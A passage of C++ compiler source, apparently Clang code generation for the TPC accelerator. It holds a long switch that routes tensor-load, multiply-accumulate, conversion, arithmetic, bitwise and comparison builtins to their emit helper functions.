TPC::BIv_bf16_ld_tnsr_partial_vb:\n case TPC::BIv_i32_ld_tnsr_partial_vb:\n case TPC::BIv_u32_ld_tnsr_partial_vb:\n case TPC::BIv_i16_ld_tnsr_partial_vb:\n case TPC::BIv_u16_ld_tnsr_partial_vb:\n case TPC::BIv_i8_ld_tnsr_partial_vb:\n case TPC::BIv_u8_ld_tnsr_partial_vb:\n case TPC::BIv_i1_ld_tnsr_partial_vb:\n return emit_LD_TNSR(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_ld_tnsr_low_b:\n case TPC::BIv_bf16_ld_tnsr_low_b:\n case TPC::BIv_i32_ld_tnsr_low_b:\n case TPC::BIv_u32_ld_tnsr_low_b:\n case TPC::BIv_i16_ld_tnsr_low_b:\n case TPC::BIv_u16_ld_tnsr_low_b:\n case TPC::BIv_i8_ld_tnsr_low_b:\n case TPC::BIv_u8_ld_tnsr_low_b:\n case TPC::BIv_i1_ld_tnsr_low_b:\n case TPC::BIv_f32_ld_tnsr_low_vb:\n case TPC::BIv_bf16_ld_tnsr_low_vb:\n case TPC::BIv_i32_ld_tnsr_low_vb:\n case TPC::BIv_u32_ld_tnsr_low_vb:\n case TPC::BIv_i16_ld_tnsr_low_vb:\n case TPC::BIv_u16_ld_tnsr_low_vb:\n case TPC::BIv_i8_ld_tnsr_low_vb:\n case TPC::BIv_u8_ld_tnsr_low_vb:\n case TPC::BIv_i1_ld_tnsr_low_vb:\n return emit_LD_TNSR_LOW(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_ld_tnsr_high_b:\n case TPC::BIv_bf16_ld_tnsr_high_b:\n case TPC::BIv_i32_ld_tnsr_high_b:\n case TPC::BIv_u32_ld_tnsr_high_b:\n case TPC::BIv_i16_ld_tnsr_high_b:\n case TPC::BIv_u16_ld_tnsr_high_b:\n case TPC::BIv_i8_ld_tnsr_high_b:\n case TPC::BIv_u8_ld_tnsr_high_b:\n case TPC::BIv_i1_ld_tnsr_high_b:\n case TPC::BIv_f32_ld_tnsr_high_vb:\n case TPC::BIv_bf16_ld_tnsr_high_vb:\n case TPC::BIv_i32_ld_tnsr_high_vb:\n case TPC::BIv_u32_ld_tnsr_high_vb:\n case TPC::BIv_i16_ld_tnsr_high_vb:\n case TPC::BIv_u16_ld_tnsr_high_vb:\n case TPC::BIv_i8_ld_tnsr_high_vb:\n case TPC::BIv_u8_ld_tnsr_high_vb:\n case TPC::BIv_i1_ld_tnsr_high_vb:\n return emit_LD_TNSR_HIGH(CGF, BuiltinID, E, ReturnValue, Arch);\n\n //------ Scalar and Scalar/Vector instructioins ------------------------------\n\n case TPC::BIs_f32_mac:\n case TPC::BIs_i8_mac:\n case TPC::BIs_u8_mac:\n case TPC::BIs_i16_mac:\n case TPC::BIs_u16_mac:\n case TPC::BIs_bf16_mac:\n case TPC::BIs_bf16_mac_acc32:\n case TPC::BIv_f32_mac_b:\n case TPC::BIv_f32_mac_vb:\n case TPC::BIv_bf16_mac_b:\n case TPC::BIv_bf16_mac_vb:\n case TPC::BIv_i8_mac_b:\n case TPC::BIv_i8_mac_vb:\n case TPC::BIv_u8_mac_b:\n case TPC::BIv_u8_mac_vb:\n case TPC::BIv_i16_mac_b:\n case TPC::BIv_i16_mac_vb:\n case TPC::BIv_u16_mac_b:\n case TPC::BIv_u16_mac_vb:\n case TPC::BIv_bf16_mac_acc32_b:\n case TPC::BIv_bf16_mac_acc32_vb:\n return emit_MAC(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_convert_int32_to_i16:\n case TPC::BIv_convert_int32_to_i16_b:\n case TPC::BIv_convert_int32_to_i16_vb:\n case TPC::BIs_convert_int32_to_i8:\n case TPC::BIv_convert_int32_to_i8_b:\n case TPC::BIv_convert_int32_to_i8_vb:\n case TPC::BIs_convert_uint32_to_u16:\n case TPC::BIv_convert_uint32_to_u16_b:\n case TPC::BIv_convert_uint32_to_u16_vb:\n case TPC::BIs_convert_uint32_to_u8:\n case TPC::BIv_convert_uint32_to_u8_b:\n case TPC::BIv_convert_uint32_to_u8_vb:\n case TPC::BIs_convert_int16_to_i8:\n case TPC::BIv_convert_int16_to_i8_b:\n case TPC::BIv_convert_int16_to_i8_vb:\n case TPC::BIs_convert_uint16_to_u8:\n case TPC::BIv_convert_uint16_to_u8_b:\n case TPC::BIv_convert_uint16_to_u8_vb:\n return emit_CONVERT_INT(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_convert_f32_to_bf16:\n case TPC::BIs_convert_f32_to_i32:\n case TPC::BIs_convert_f32_to_i16:\n case TPC::BIs_convert_f32_to_i8:\n\n case TPC::BIs_convert_bf16_to_f32:\n case TPC::BIs_convert_bf16_to_i16:\n\n case TPC::BIs_convert_i32_to_f32:\n case TPC::BIs_convert_i32_to_bf16:\n case TPC::BIs_convert_i32_to_u32:\n case TPC::BIs_convert_i32_to_u8:\n\n case TPC::BIs_convert_i16_to_f32:\n case TPC::BIs_convert_i16_to_bf16:\n case TPC::BIs_convert_i16_to_i32:\n case TPC::BIs_convert_i16_to_u32:\n case TPC::BIs_convert_i16_to_u16:\n case TPC::BIs_convert_i16_to_u8:\n\n case TPC::BIs_convert_u16_to_bf16:\n\n case TPC::BIs_convert_i8_to_f32:\n case TPC::BIs_convert_i8_to_bf16:\n case TPC::BIs_convert_i8_to_i32:\n case TPC::BIs_convert_i8_to_u32:\n case TPC::BIs_convert_i8_to_i16:\n case TPC::BIs_convert_i8_to_u16:\n case TPC::BIs_convert_i8_to_u8:\n\n case TPC::BIv_convert_f32_to_i32_b:\n case TPC::BIv_convert_f32_to_i32_vb:\n case TPC::BIv_convert_f32_to_i16_b:\n case TPC::BIv_convert_f32_to_i16_vb:\n case TPC::BIv_convert_f32_to_i8_b:\n case TPC::BIv_convert_f32_to_i8_vb:\n case TPC::BIv_convert_f32_to_bf16_single_b:\n case TPC::BIv_convert_f32_to_bf16_single_vb:\n\n case TPC::BIv_convert_bf16_to_i16_b:\n case TPC::BIv_convert_bf16_to_i16_vb:\n\n case TPC::BIv_convert_i32_to_bf16_b:\n case TPC::BIv_convert_i32_to_bf16_vb:\n case TPC::BIv_convert_i32_to_f32_b:\n case TPC::BIv_convert_i32_to_f32_vb:\n case TPC::BIv_convert_i32_to_u32_b:\n case TPC::BIv_convert_i32_to_u32_vb:\n case TPC::BIv_convert_i32_to_u8_b:\n case TPC::BIv_convert_i32_to_u8_vb:\n\n case TPC::BIv_convert_i16_to_f32_b:\n case TPC::BIv_convert_i16_to_f32_vb:\n case TPC::BIv_convert_i16_to_i32_b:\n case TPC::BIv_convert_i16_to_i32_vb:\n case TPC::BIv_convert_i16_to_u32_b:\n case TPC::BIv_convert_i16_to_u32_vb:\n case TPC::BIv_convert_i16_to_u16_b:\n case TPC::BIv_convert_i16_to_u16_vb:\n case TPC::BIv_convert_i16_to_bf16_b:\n case TPC::BIv_convert_i16_to_bf16_vb:\n case TPC::BIv_convert_i16_to_u8_b:\n case TPC::BIv_convert_i16_to_u8_vb:\n case TPC::BIv_convert_i16_to_i8_b:\n case TPC::BIv_convert_i16_to_i8_vb:\n\n case TPC::BIv_convert_i8_to_f32_b:\n case TPC::BIv_convert_i8_to_f32_vb:\n case TPC::BIv_convert_i8_to_i32_b:\n case TPC::BIv_convert_i8_to_i32_vb:\n case TPC::BIv_convert_i8_to_u32_b:\n case TPC::BIv_convert_i8_to_u32_vb:\n case TPC::BIv_convert_i8_to_i16_b:\n case TPC::BIv_convert_i8_to_i16_vb:\n case TPC::BIv_convert_i8_to_u16_b:\n case TPC::BIv_convert_i8_to_u16_vb:\n case TPC::BIv_convert_i8_to_u8_b:\n case TPC::BIv_convert_i8_to_u8_vb:\n\n case TPC::BIv_convert_u16_to_bf16_b:\n case TPC::BIv_convert_u16_to_bf16_vb:\n\n case TPC::BIv_convert_f32_to_bf16_all_b:\n case TPC::BIv_convert_bf16_to_f32_all_b:\n case TPC::BIv_convert_bf16_to_f32_all_vb:\n return emit_CONVERT(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_mul:\n case TPC::BIs_i32_mul:\n case TPC::BIs_u32_mul:\n case TPC::BIs_i16_mul:\n case TPC::BIs_u16_mul:\n case TPC::BIs_i8_mul:\n case TPC::BIs_u8_mul:\n case TPC::BIs_bf16_mul:\n case TPC::BIs_bf16_mul_acc32:\n case TPC::BIi_i32_mul:\n case TPC::BIv_f32_mul_vb:\n case TPC::BIv_f32_mul_b:\n case TPC::BIv_bf16_mul_vb:\n case TPC::BIv_bf16_mul_b:\n case TPC::BIv_i32_mul_vb:\n case TPC::BIv_i32_mul_b:\n case TPC::BIv_u32_mul_vb:\n case TPC::BIv_u32_mul_b:\n case TPC::BIv_i16_mul_vb:\n case TPC::BIv_i16_mul_b:\n case TPC::BIv_u16_mul_vb:\n case TPC::BIv_u16_mul_b:\n case TPC::BIv_i8_mul_vb:\n case TPC::BIv_i8_mul_b:\n case TPC::BIv_u8_mul_vb:\n case TPC::BIv_u8_mul_b:\n case TPC::BIv_bf16_mul_acc32_vb:\n case TPC::BIv_bf16_mul_acc32_b:\n case TPC::BIv_i32_mul_round_vb:\n case TPC::BIv_i32_mul_round_b:\n case TPC::BIv_u32_mul_round_vb:\n case TPC::BIv_u32_mul_round_b:\n return emit_MUL(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_add:\n case TPC::BIs_i32_add:\n case TPC::BIs_u32_add:\n case TPC::BIs_i16_add:\n case TPC::BIs_u16_add:\n case TPC::BIs_i8_add:\n case TPC::BIs_u8_add:\n case TPC::BIs_bf16_add:\n case TPC::BIi_i32_add:\n case TPC::BIv_f32_add_vb:\n case TPC::BIv_f32_add_b:\n case TPC::BIv_bf16_add_vb:\n case TPC::BIv_bf16_add_b:\n case TPC::BIv_i32_add_vb:\n case TPC::BIv_i32_add_b:\n case TPC::BIv_u32_add_vb:\n case TPC::BIv_u32_add_b:\n case TPC::BIv_i16_add_vb:\n case TPC::BIv_i16_add_b:\n case TPC::BIv_u16_add_vb:\n case TPC::BIv_u16_add_b:\n case TPC::BIv_i8_add_vb:\n case TPC::BIv_i8_add_b:\n case TPC::BIv_u8_add_vb:\n case TPC::BIv_u8_add_b:\n return emit_ADD(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_sub:\n case TPC::BIs_i32_sub:\n case TPC::BIs_u32_sub:\n case TPC::BIs_i16_sub:\n case TPC::BIs_u16_sub:\n case TPC::BIs_i8_sub:\n case TPC::BIs_u8_sub:\n case TPC::BIs_bf16_sub:\n case TPC::BIi_i32_sub:\n case TPC::BIv_f32_sub_vb:\n case TPC::BIv_f32_sub_b:\n case TPC::BIv_bf16_sub_vb:\n case TPC::BIv_bf16_sub_b:\n case TPC::BIv_i32_sub_vb:\n case TPC::BIv_i32_sub_b:\n case TPC::BIv_u32_sub_vb:\n case TPC::BIv_u32_sub_b:\n case TPC::BIv_i16_sub_vb:\n case TPC::BIv_i16_sub_b:\n case TPC::BIv_u16_sub_vb:\n case TPC::BIv_u16_sub_b:\n case TPC::BIv_i8_sub_vb:\n case TPC::BIv_i8_sub_b:\n case TPC::BIv_u8_sub_vb:\n case TPC::BIv_u8_sub_b:\n return emit_SUB(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_max:\n case TPC::BIs_i32_max:\n case TPC::BIs_u32_max:\n case TPC::BIs_i16_max:\n case TPC::BIs_u16_max:\n case TPC::BIs_i8_max:\n case TPC::BIs_u8_max:\n case TPC::BIs_bf16_max:\n case TPC::BIi_i32_max:\n case TPC::BIv_f32_max_vb:\n case TPC::BIv_f32_max_b:\n case TPC::BIv_bf16_max_vb:\n case TPC::BIv_bf16_max_b:\n case TPC::BIv_i32_max_vb:\n case TPC::BIv_i32_max_b:\n case TPC::BIv_u32_max_vb:\n case TPC::BIv_u32_max_b:\n case TPC::BIv_i16_max_vb:\n case TPC::BIv_i16_max_b:\n case TPC::BIv_u16_max_vb:\n case TPC::BIv_u16_max_b:\n case TPC::BIv_i8_max_vb:\n case TPC::BIv_i8_max_b:\n case TPC::BIv_u8_max_vb:\n case TPC::BIv_u8_max_b:\n return emit_MAX(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_min:\n case TPC::BIs_i32_min:\n case TPC::BIs_u32_min:\n case TPC::BIs_i16_min:\n case TPC::BIs_u16_min:\n case TPC::BIs_i8_min:\n case TPC::BIs_u8_min:\n case TPC::BIs_bf16_min:\n case TPC::BIi_i32_min:\n case TPC::BIv_f32_min_vb:\n case TPC::BIv_f32_min_b:\n case TPC::BIv_bf16_min_vb:\n case TPC::BIv_bf16_min_b:\n case TPC::BIv_i32_min_vb:\n case TPC::BIv_i32_min_b:\n case TPC::BIv_u32_min_vb:\n case TPC::BIv_u32_min_b:\n case TPC::BIv_i16_min_vb:\n case TPC::BIv_i16_min_b:\n case TPC::BIv_u16_min_vb:\n case TPC::BIv_u16_min_b:\n case TPC::BIv_i8_min_vb:\n case TPC::BIv_i8_min_b:\n case TPC::BIv_u8_min_vb:\n case TPC::BIv_u8_min_b:\n return emit_MIN(CGF, BuiltinID, E, ReturnValue, Arch);\n\n\n case TPC::BIs_f32_not:\n case TPC::BIs_bf16_not:\n case TPC::BIs_i32_not:\n case TPC::BIs_u32_not:\n case TPC::BIs_i16_not:\n case TPC::BIs_u16_not:\n case TPC::BIs_i8_not:\n case TPC::BIs_u8_not:\n case TPC::BIs_i1_not:\n case TPC::BIi_i32_not:\n case TPC::BIv_f32_not_b:\n case TPC::BIv_f32_not_vb:\n case TPC::BIv_bf16_not_b:\n case TPC::BIv_bf16_not_vb:\n case TPC::BIv_i32_not_b:\n case TPC::BIv_i32_not_vb:\n case TPC::BIv_u32_not_b:\n case TPC::BIv_u32_not_vb:\n case TPC::BIv_i16_not_b:\n case TPC::BIv_i16_not_vb:\n case TPC::BIv_u16_not_b:\n case TPC::BIv_u16_not_vb:\n case TPC::BIv_i8_not_b:\n case TPC::BIv_i8_not_vb:\n case TPC::BIv_u8_not_b:\n case TPC::BIv_u8_not_vb:\n case TPC::BIv_i1_not_b:\n case TPC::BIv_i1_not_vb:\n return emit_NOT(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_shr:\n case TPC::BIs_bf16_shr:\n case TPC::BIs_i32_shr:\n case TPC::BIs_u32_shr:\n case TPC::BIs_i16_shr:\n case TPC::BIs_u16_shr:\n case TPC::BIs_i8_shr:\n case TPC::BIs_u8_shr:\n case TPC::BIi_i32_shr:\n case TPC::BIv_f32_shr_b:\n case TPC::BIv_f32_shr_vb:\n case TPC::BIv_bf16_shr_b:\n case TPC::BIv_bf16_shr_vb:\n case TPC::BIv_i32_shr_b:\n case TPC::BIv_i32_shr_vb:\n case TPC::BIv_u32_shr_b:\n case TPC::BIv_u32_shr_vb:\n case TPC::BIv_i16_shr_b:\n case TPC::BIv_i16_shr_vb:\n case TPC::BIv_u16_shr_b:\n case TPC::BIv_u16_shr_vb:\n case TPC::BIv_i8_shr_b:\n case TPC::BIv_i8_shr_vb:\n case TPC::BIv_u8_shr_b:\n case TPC::BIv_u8_shr_vb:\n return emit_SHR(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_shl:\n case TPC::BIs_bf16_shl:\n case TPC::BIs_i32_shl:\n case TPC::BIs_u32_shl:\n case TPC::BIs_i16_shl:\n case TPC::BIs_u16_shl:\n case TPC::BIs_i8_shl:\n case TPC::BIs_u8_shl:\n case TPC::BIi_i32_shl:\n case TPC::BIv_f32_shl_b:\n case TPC::BIv_f32_shl_vb:\n case TPC::BIv_bf16_shl_b:\n case TPC::BIv_bf16_shl_vb:\n case TPC::BIv_i32_shl_b:\n case TPC::BIv_i32_shl_vb:\n case TPC::BIv_u32_shl_b:\n case TPC::BIv_u32_shl_vb:\n case TPC::BIv_i16_shl_b:\n case TPC::BIv_i16_shl_vb:\n case TPC::BIv_u16_shl_b:\n case TPC::BIv_u16_shl_vb:\n case TPC::BIv_i8_shl_b:\n case TPC::BIv_i8_shl_vb:\n case TPC::BIv_u8_shl_b:\n case TPC::BIv_u8_shl_vb:\n return emit_SHL(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_i32_ash:\n case TPC::BIs_u32_ash:\n case TPC::BIs_i16_ash:\n case TPC::BIs_u16_ash:\n case TPC::BIs_i8_ash:\n case TPC::BIs_u8_ash:\n case TPC::BIv_i32_ash_b:\n case TPC::BIv_i32_ash_vb:\n case TPC::BIv_u32_ash_b:\n case TPC::BIv_u32_ash_vb:\n case TPC::BIv_i16_ash_b:\n case TPC::BIv_i16_ash_vb:\n case TPC::BIv_u16_ash_b:\n case TPC::BIv_u16_ash_vb:\n case TPC::BIv_i8_ash_b:\n case TPC::BIv_i8_ash_vb:\n case TPC::BIv_u8_ash_b:\n case TPC::BIv_u8_ash_vb:\n return emit_ASH(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_abs:\n case TPC::BIs_bf16_abs:\n case TPC::BIs_i32_abs:\n case TPC::BIs_i16_abs:\n case TPC::BIs_i8_abs:\n case TPC::BIi_i32_abs:\n case TPC::BIv_f32_abs_b:\n case TPC::BIv_f32_abs_vb:\n case TPC::BIv_bf16_abs_b:\n case TPC::BIv_bf16_abs_vb:\n\n\n case TPC::BIv_i32_abs_b:\n case TPC::BIv_i32_abs_vb:\n case TPC::BIv_i16_abs_b:\n case TPC::BIv_i16_abs_vb:\n case TPC::BIv_i8_abs_b:\n case TPC::BIv_i8_abs_vb:\n return emit_ABS(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_and:\n case TPC::BIs_i32_and:\n case TPC::BIs_u32_and:\n case TPC::BIs_i16_and:\n case TPC::BIs_u16_and:\n case TPC::BIs_i8_and:\n case TPC::BIs_u8_and:\n case TPC::BIs_bf16_and:\n case TPC::BIi_i32_and:\n case TPC::BIv_f32_and_vb:\n case TPC::BIv_f32_and_b:\n case TPC::BIv_bf16_and_vb:\n case TPC::BIv_bf16_and_b:\n case TPC::BIv_i32_and_vb:\n case TPC::BIv_i32_and_b:\n case TPC::BIv_u32_and_vb:\n case TPC::BIv_u32_and_b:\n case TPC::BIv_i16_and_vb:\n case TPC::BIv_i16_and_b:\n case TPC::BIv_u16_and_vb:\n case TPC::BIv_u16_and_b:\n case TPC::BIv_i8_and_vb:\n case TPC::BIv_i8_and_b:\n case TPC::BIv_u8_and_vb:\n case TPC::BIv_u8_and_b:\n case TPC::BIs_i1_and:\n case TPC::BIv_i1_and_b:\n case TPC::BIv_i1_and_vb:\n return emit_AND(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_or:\n case TPC::BIs_i32_or:\n case TPC::BIs_u32_or:\n case TPC::BIs_i16_or:\n case TPC::BIs_u16_or:\n case TPC::BIs_i8_or:\n case TPC::BIs_u8_or:\n case TPC::BIs_bf16_or:\n case TPC::BIi_i32_or:\n case TPC::BIv_f32_or_vb:\n case TPC::BIv_f32_or_b:\n case TPC::BIv_bf16_or_vb:\n case TPC::BIv_bf16_or_b:\n case TPC::BIv_i32_or_vb:\n case TPC::BIv_i32_or_b:\n case TPC::BIv_u32_or_vb:\n case TPC::BIv_u32_or_b:\n case TPC::BIv_i16_or_vb:\n case TPC::BIv_i16_or_b:\n case TPC::BIv_u16_or_vb:\n case TPC::BIv_u16_or_b:\n case TPC::BIv_i8_or_vb:\n case TPC::BIv_i8_or_b:\n case TPC::BIv_u8_or_vb:\n case TPC::BIv_u8_or_b:\n case TPC::BIs_i1_or:\n case TPC::BIv_i1_or_b:\n case TPC::BIv_i1_or_vb:\n return emit_OR(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_xor:\n case TPC::BIs_i32_xor:\n case TPC::BIs_u32_xor:\n case TPC::BIs_i16_xor:\n case TPC::BIs_u16_xor:\n case TPC::BIs_i8_xor:\n case TPC::BIs_u8_xor:\n case TPC::BIs_bf16_xor:\n case TPC::BIi_i32_xor:\n case TPC::BIv_f32_xor_vb:\n case TPC::BIv_f32_xor_b:\n case TPC::BIv_bf16_xor_vb:\n case TPC::BIv_bf16_xor_b:\n case TPC::BIv_i32_xor_vb:\n case TPC::BIv_i32_xor_b:\n case TPC::BIv_u32_xor_vb:\n case TPC::BIv_u32_xor_b:\n case TPC::BIv_i16_xor_vb:\n case TPC::BIv_i16_xor_b:\n case TPC::BIv_u16_xor_vb:\n case TPC::BIv_u16_xor_b:\n case TPC::BIv_i8_xor_vb:\n case TPC::BIv_i8_xor_b:\n case TPC::BIv_u8_xor_vb:\n case TPC::BIv_u8_xor_b:\n case TPC::BIs_i1_xor:\n case TPC::BIv_i1_xor_b:\n case TPC::BIv_i1_xor_vb:\n return emit_XOR(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_cmp_eq:\n case TPC::BIs_bf16_cmp_eq:\n case TPC::BIs_i32_cmp_eq:\n case TPC::BIs_u32_cmp_eq:\n case TPC::BIs_i16_cmp_eq:\n case TPC::BIs_u16_cmp_eq:\n case TPC::BIs_i8_cmp_eq:\n case TPC::BIs_u8_cmp_eq:\n case TPC::BIv_f32_cmp_eq_vb:\n case TPC::BIv_bf16_cmp_eq_vb:\n case TPC::BIv_i32_cmp_eq_vb:\n case TPC::BIv_u32_cmp_eq_vb:\n case TPC::BIv_i16_cmp_eq_vb:\n case TPC::BIv_u16_cmp_eq_vb:\n case TPC::BIv_i8_cmp_eq_vb:\n case TPC::BIv_u8_cmp_eq_vb:\n case TPC::BIv_f32_cmp_eq_b:\n case TPC::BIv_bf16_cmp_eq_b:\n case TPC::BIv_i32_cmp_eq_b:\n case TPC::BIv_u32_cmp_eq_b:\n case TPC::BIv_i16_cmp_eq_b:\n case TPC::BIv_u16_cmp_eq_b:\n case TPC::BIv_i8_cmp_eq_b:\n case TPC::BIv_u8_cmp_eq_b:\n return emit_CMP_EQ(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_cmp_neq:\n case TPC::BIs_bf16_cmp_neq:\n case TPC::BIs_i32_cmp_neq:\n case TPC::BIs_u32_cmp_neq:\n case TPC::BIs_i16_cmp_neq:\n case TPC::BIs_u16_cmp_neq:\n case TPC::BIs_i8_cmp_neq:\n case TPC::BIs_u8_cmp_neq:\n case TPC::BIv_f32_cmp_neq_vb:\n case TPC::BIv_bf16_cmp_neq_vb:\n case TPC::BIv_i32_cmp_neq_vb:\n case TPC::BIv_u32_cmp_neq_vb:\n case TPC::BIv_i16_cmp_neq_vb:\n case TPC::BIv_u16_cmp_neq_vb:\n case TPC::BIv_i8_cmp_neq_vb:\n case TPC::BIv_u8_cmp_neq_vb:\n case TPC::BIv_f32_cmp_neq_b:\n case TPC::BIv_bf16_cmp_neq_b:\n case TPC::BIv_i32_cmp_neq_b:\n case TPC::BIv_u32_cmp_neq_b:\n case TPC::BIv_i16_cmp_neq_b:\n case TPC::BIv_u16_cmp_neq_b:\n case TPC::BIv_i8_cmp_neq_b:\n case TPC::BIv_u8_cmp_neq_b:\n return emit_CMP_NEQ(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_cmp_less:\n case TPC::BIs_bf16_cmp_less:\n case TPC::BIs_i32_cmp_less:\n case TPC::BIs_u32_cmp_less:\n case TPC::BIs_i16_cmp_less:\n case TPC::BIs_u16_cmp_less:\n case TPC::BIs_i8_cmp_less:\n case TPC::BIs_u8_cmp_less:\n case TPC::BIv_f32_cmp_less_vb:\n case TPC::BIv_bf16_cmp_less_vb:\n case TPC::BIv_i32_cmp_less_vb:\n case TPC::BIv_u32_cmp_less_vb:\n case TPC::BIv_i16_cmp_less_vb:\n case TPC::BIv_u16_cmp_less_vb:\n case TPC::BIv_i8_cmp_less_vb:\n case TPC::BIv_u8_cmp_less_vb:\n case TPC::BIv_f32_cmp_less_b:\n case TPC::BIv_bf16_cmp_less_b:\n case TPC::BIv_i32_cmp_less_b:\n case TPC::BIv_u32_cmp_less_b:\n case TPC::BIv_i16_cmp_less_b:\n case TPC::BIv_u16_cmp_less_b:\n case TPC::BIv_i8_cmp_less_b:\n case TPC::BIv_u8_cmp_less_b:\n return emit_CMP_LESS(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_cmp_leq:\n case TPC::BIs_bf16_cmp_leq:\n case TPC::BIs_i32_cmp_leq:\n case TPC::BIs_u32_cmp_leq:\n case TPC::BIs_i16_cmp_leq:\n case TPC::BIs_u16_cmp_leq:\n case TPC::BIs_i8_cmp_leq:\n case TPC::BIs_u8_cmp_leq:\n case TPC::BIv_f32_cmp_leq_vb:\n case TPC::BIv_bf16_cmp_leq_vb:\n case TPC::BIv_i32_cmp_leq_vb:\n case TPC::BIv_u32_cmp_leq_vb:\n case TPC::BIv_i16_cmp_leq_vb:\n case TPC::BIv_u16_cmp_leq_vb:\n case TPC::BIv_i8_cmp_leq_vb:\n case TPC::BIv_u8_cmp_leq_vb:\n case TPC::BIv_f32_cmp_leq_b:\n case TPC::BIv_bf16_cmp_leq_b:\n case TPC::BIv_i32_cmp_leq_b:\n case TPC::BIv_u32_cmp_leq_b:\n case TPC::BIv_i16_cmp_leq_b:\n case TPC::BIv_u16_cmp_leq_b:\n case TPC::BIv_i8_cmp_leq_b:\n case TPC::BIv_u8_cmp_leq_b:\n return emit_CMP_LEQ(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_cmp_grt:\n case TPC::BIs_bf16_cmp_grt:\n case TPC::BIs_i32_cmp_grt:\n case TPC::BIs_u32_cmp_grt:\n case TPC::BIs_i16_cmp_grt:\n case TPC::BIs_u16_cmp_grt:\n case TPC::BIs_i8_cmp_grt:\n case TPC::BIs_u8_cmp_grt:\n case TPC::BIv_f32_cmp_grt_vb:\n case TPC::BIv_bf16_cmp_grt_vb:\n case TPC::BIv_i32_cmp_grt_vb:\n case TPC::BIv_u32_cmp_grt_vb:\n case TPC::BIv_i16_cmp_grt_vb:\n case TPC::BIv_u16_cmp_grt_vb:\n case TPC::BIv_i8_cmp_grt_vb:\n case TPC::BIv_u8_cmp_grt_vb:\n case TPC::BIv_f32_cmp_grt_b:\n case TPC::BIv_bf16_cmp_grt_b:\n case TPC::BIv_i32_cmp_grt_b:\n case TPC::BIv_u32_cmp_grt_b:\n case TPC::BIv_i16_cmp_grt_b:\n case TPC::BIv_u16_cmp_grt_b:\n case TPC::BIv_i8_cmp_grt_b:\n case TPC::BIv_u8_cmp_grt_b:\n return emit_CMP_GRT(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_cmp_geq:\n case TPC::BIs_bf16_cmp_geq:\n case TPC::BIs_i32_cmp_geq:\n case TPC::BIs_u32_cmp_geq:\n case TPC::BIs_i16_cmp_geq:\n case TPC::BIs_u16_cmp_geq:\n case TPC::BIs_i8_cmp_geq:\n case TPC::BIs_u8_cmp_geq:\n case TPC::BIv_f32_cmp_geq_vb:\n case TPC::BIv_bf16_cmp_geq_vb:\n case TPC::BIv_i32_cmp_geq_vb:\n case TPC::BIv_u32_cmp_geq_vb:\n case TPC::BIv_i16_cmp_geq_vb:\n case TPC::BIv_u16_cmp_geq_vb:\n case TPC::BIv_i8_cmp_geq_vb:\n case TPC::BIv_u8_cmp_geq_vb:\n case TPC::BIv_f32_cmp_geq_b:\n case TPC::BIv_bf16_cmp_geq_b:\n case TPC::BIv_i32_cmp_geq_b:\n case TPC::BIv_u32_cmp_geq_b:\n case TPC::BIv_i16_cmp_geq_b:\n case TPC::BIv_u16_cmp_geq_b:\n case TPC::BIv_i8_cmp_geq_b:\n case TPC::BIv_u8_cmp_geq_b:\n return emit_CMP_GEQ(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_popcnt:\n case TPC::BIs_bf16_popcnt:\n case TPC::BIs_i32_popcnt:\n case TPC::BIs_u32_popcnt:\n case TPC::BIs_i16_popcnt:\n case TPC::BIs_u16_popcnt:\n case TPC::BIs_i8_popcnt:\n case TPC::BIs_u8_popcnt:\n case TPC::BIv_f32_popcnt_b:\n case TPC::BIv_f32_popcnt_vb:\n case TPC::BIv_bf16_popcnt_b:\n case TPC::BIv_bf16_popcnt_vb:\n case TPC::BIv_i32_popcnt_b:\n case TPC::BIv_i32_popcnt_vb:\n case TPC::BIv_u32_popcnt_b:\n case TPC::BIv_u32_popcnt_vb:\n case TPC::BIv_i16_popcnt_b:\n case TPC::BIv_i16_popcnt_vb:\n case TPC::BIv_u16_popcnt_b:\n case TPC::BIv_u16_popcnt_vb:\n case TPC::BIv_i8_popcnt_b:\n case TPC::BIv_i8_popcnt_vb:\n case TPC::BIv_u8_popcnt_b:\n case TPC::BIv_u8_popcnt_vb:\n return emit_POPCNT(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_find_first:\n case TPC::BIs_bf16_find_first:\n case TPC::BIs_i32_find_first:\n case TPC::BIs_u32_find_first:\n case TPC::BIs_i16_find_first:\n case TPC::BIs_u16_find_first:\n case TPC::BIs_i8_find_first:\n case TPC::BIs_u8_find_first:\n case TPC::BIv_f32_find_first_b:\n case TPC::BIv_f32_find_first_vb:\n case TPC::BIv_bf16_find_first_b:\n case TPC::BIv_bf16_find_first_vb:\n case TPC::BIv_i32_find_first_b:\n case TPC::BIv_i32_find_first_vb:\n case TPC::BIv_u32_find_first_b:\n case TPC::BIv_u32_find_first_vb:\n case TPC::BIv_i16_find_first_b:\n case TPC::BIv_i16_find_first_vb:\n case TPC::BIv_u16_find_first_b:\n case TPC::BIv_u16_find_first_vb:\n case 